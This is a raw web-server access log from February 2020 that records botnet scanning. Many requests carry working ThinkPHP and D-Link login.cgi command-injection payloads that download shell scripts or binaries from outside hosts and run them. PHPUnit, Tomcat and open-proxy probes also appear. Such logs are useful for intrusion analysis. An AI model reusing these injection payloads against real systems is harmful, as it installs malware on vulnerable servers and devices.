49.235.146.76 - - [03/Feb/2020:04:35:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.68.4.200 - - [03/Feb/2020:04:40:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
36.32.170.78 - - [03/Feb/2020:04:40:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
1.54.20.104 - - [03/Feb/2020:04:41:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
120.68.224.22 - - [03/Feb/2020:04:44:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.100.12.210 - - [03/Feb/2020:04:47:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
61.133.194.58 - - [03/Feb/2020:04:52:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [03/Feb/2020:04:54:57 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
45.143.220.189 - - [03/Feb/2020:04:55:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
222.186.19.221 - - [03/Feb/2020:04:55:28 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [03/Feb/2020:04:56:34 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
95.6.100.189 - - [03/Feb/2020:04:56:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
86.120.44.244 - - [03/Feb/2020:04:58:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [03/Feb/2020:04:58:54 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [03/Feb/2020:04:58:58 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [03/Feb/2020:04:59:34 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
164.68.112.178 - - [03/Feb/2020:05:01:18 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [03/Feb/2020:05:01:19 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [03/Feb/2020:05:01:33 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [03/Feb/2020:05:01:34 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [03/Feb/2020:05:01:36 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [03/Feb/2020:05:01:38 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [03/Feb/2020:05:01:56 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
222.186.19.221 - - [03/Feb/2020:05:01:59 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
42.118.156.109 - - [03/Feb/2020:05:02:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.32.40 - - [03/Feb/2020:05:03:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.68.246.198 - - [03/Feb/2020:05:03:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
66.249.79.232 - - [03/Feb/2020:05:06:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
199.212.57.158 - - [03/Feb/2020:05:07:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible MSIE 6.00 Windows NT 5.1 SV1)"
77.22.37.252 - - [03/Feb/2020:05:12:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.19.140 - - [03/Feb/2020:05:13:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.26.104.45 - - [03/Feb/2020:05:17:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
91.106.94.100 - - [03/Feb/2020:05:18:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
222.138.205.194 - - [03/Feb/2020:05:18:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
42.117.137.85 - - [03/Feb/2020:05:20:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.137.217 - - [03/Feb/2020:05:21:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.143.220.189 - - [03/Feb/2020:05:22:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
45.143.220.189 - - [03/Feb/2020:05:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
106.59.245.91 - - [03/Feb/2020:05:22:50 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01719037 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36"
201.150.26.14 - - [03/Feb/2020:05:24:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [03/Feb/2020:05:24:49 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
162.243.129.67 - - [03/Feb/2020:05:25:07 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
162.243.129.67 - - [03/Feb/2020:05:25:09 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
162.243.129.67 - - [03/Feb/2020:05:25:24 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
162.243.129.67 - - [03/Feb/2020:05:25:26 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
162.243.129.67 - - [03/Feb/2020:05:25:52 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
162.243.129.67 - - [03/Feb/2020:05:27:12 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
46.119.171.190 - - [03/Feb/2020:05:27:23 +0100] "GET / HTTP/1.1" 200 1229 "https://vescenter.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; FDM)"
46.119.171.190 - - [03/Feb/2020:05:27:23 +0100] "GET / HTTP/1.1" 200 1229 "https://vescenter.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; FDM)"
46.119.171.190 - - [03/Feb/2020:05:27:24 +0100] "GET / HTTP/1.1" 200 1229 "https://vescenter.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; FDM)"
162.243.129.67 - - [03/Feb/2020:05:27:59 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
162.243.129.67 - - [03/Feb/2020:05:28:02 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
222.82.62.232 - - [03/Feb/2020:05:28:03 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01678543 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11"
162.243.129.67 - - [03/Feb/2020:05:29:18 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
162.243.129.67 - - [03/Feb/2020:05:29:45 +0100] "GET /manager/text/list HTTP/1.1" 404 322 "-" "Mozilla/5.0 zgrab/0.x"
42.116.89.213 - - [03/Feb/2020:05:33:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
120.77.47.69 - - [03/Feb/2020:05:34:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
77.228.159.185 - - [03/Feb/2020:05:34:46 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
122.170.14.210 - - [03/Feb/2020:05:37:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.143.220.189 - - [03/Feb/2020:05:37:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
116.104.91.160 - - [03/Feb/2020:05:38:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
217.76.42.78 - - [03/Feb/2020:05:38:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.176.170.131 - - [03/Feb/2020:05:40:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.230.97 - - [03/Feb/2020:05:41:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.81.96.138 - - [03/Feb/2020:05:43:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [03/Feb/2020:05:45:14 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
183.80.116.14 - - [03/Feb/2020:05:46:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [03/Feb/2020:05:47:49 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:05:48:45 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
61.220.75.34 - - [03/Feb/2020:05:49:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.230.126.74 - - [03/Feb/2020:05:49:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:05:50:59 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:05:51:12 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
31.162.230.187 - - [03/Feb/2020:05:52:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.138.205.194 - - [03/Feb/2020:05:52:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
164.68.112.178 - - [03/Feb/2020:05:55:01 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
110.80.154.117 - - [03/Feb/2020:05:55:03 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
164.68.112.178 - - [03/Feb/2020:05:55:05 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
222.82.53.255 - - [03/Feb/2020:05:55:05 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
122.96.73.78 - - [03/Feb/2020:05:55:09 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
124.225.43.254 - - [03/Feb/2020:05:55:09 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
222.79.49.51 - - [03/Feb/2020:05:55:10 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
221.13.12.50 - - [03/Feb/2020:05:55:10 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
124.235.138.103 - - [03/Feb/2020:05:55:10 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
175.184.166.200 - - [03/Feb/2020:05:55:13 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
221.13.12.34 - - [03/Feb/2020:05:55:13 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
223.166.74.17 - - [03/Feb/2020:05:55:13 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
164.68.112.178 - - [03/Feb/2020:05:55:19 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
66.249.79.52 - - [03/Feb/2020:05:57:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
122.170.14.210 - - [03/Feb/2020:05:57:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
162.243.128.230 - - [03/Feb/2020:05:57:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.128.230 - - [03/Feb/2020:05:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
203.232.36.24 - - [03/Feb/2020:05:59:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.57.10.25 - - [03/Feb/2020:06:01:24 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
150.255.35.6 - - [03/Feb/2020:06:01:24 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
36.248.88.136 - - [03/Feb/2020:06:01:26 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
124.88.113.104 - - [03/Feb/2020:06:01:28 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
119.39.47.65 - - [03/Feb/2020:06:01:28 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
124.89.90.60 - - [03/Feb/2020:06:01:29 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
112.66.98.202 - - [03/Feb/2020:06:01:29 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
220.200.161.237 - - [03/Feb/2020:06:01:29 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
180.95.238.180 - - [03/Feb/2020:06:01:32 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
123.191.136.59 - - [03/Feb/2020:06:01:32 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
162.243.128.230 - - [03/Feb/2020:06:01:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.128.230 - - [03/Feb/2020:06:02:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.128.230 - - [03/Feb/2020:06:02:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.128.230 - - [03/Feb/2020:06:02:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.128.230 - - [03/Feb/2020:06:04:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.128.230 - - [03/Feb/2020:06:04:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
78.131.157.223 - - [03/Feb/2020:06:04:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
162.243.128.230 - - [03/Feb/2020:06:04:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
27.216.245.215 - - [03/Feb/2020:06:04:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
162.243.128.230 - - [03/Feb/2020:06:04:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
182.167.238.237 - - [03/Feb/2020:06:05:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
118.69.181.153 - - [03/Feb/2020:06:06:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.88.248.51 - - [03/Feb/2020:06:07:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
